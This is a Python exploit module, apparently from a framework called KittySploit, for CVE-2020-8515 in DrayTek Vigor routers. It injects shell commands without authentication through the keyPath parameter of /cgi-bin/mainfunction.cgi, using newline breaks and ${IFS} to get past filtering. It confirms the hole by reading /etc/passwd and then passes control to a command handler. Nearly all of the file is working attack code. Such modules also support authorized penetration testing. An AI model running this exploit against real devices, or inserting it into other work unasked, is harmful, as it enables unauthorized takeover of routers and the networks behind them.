DrayTek Router RCE (CVE-2020-8515)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""DrayTek mainfunction.cgi command injection (CVE-2020-8515)."""

import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'DrayTek Router RCE (CVE-2020-8515)',
        'description': (
            'Exploits CVE-2020-8515 in DrayTek Vigor routers: unauthenticated command '
            'injection via keyPath in /cgi-bin/mainfunction.cgi.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2020-8515'],
        'platform': Platform.LINUX,
        'payload': {'default': 'nopayload'},
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2020-8515'],
        'tags': ['draytek', 'router', 'cmdi', 'rce', 'kev', 'vkev'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'rce'],
            'chain': {'suggested_followups': ['scanner/http/cve_2020_8515_detect']},
        },
    }

    def execute(self, cmd: str) -> str:
        safe = str(cmd).replace(' ', '${IFS}')
        keypath = f"'\n{safe}\n'"
        data = f"action=login&keyPath={keypath}&loginUser=a&loginPwd=a"
        r = self.http_request(
            method='POST',
            path='/cgi-bin/mainfunction.cgi',
            data=data,
            headers={'Content-Type': 'application/x-www-form-urlencoded'},
            allow_redirects=False,
        )
        return (r.text or '') if r else ''

    def check(self):
        body = self.execute('cat${IFS}/etc/passwd')
        if re.search(r'root:.*:0:0:', body or ''):
            return {'vulnerable': True, 'reason': 'CVE-2020-8515 confirmed', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'DrayTek injection failed', 'confidence': 'medium'}

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f'echo${IFS}{token}') or '')

    def run(self):
        if not self.check_execute():
            self.not_vulnerable()
            return False
        return self.handler_execute()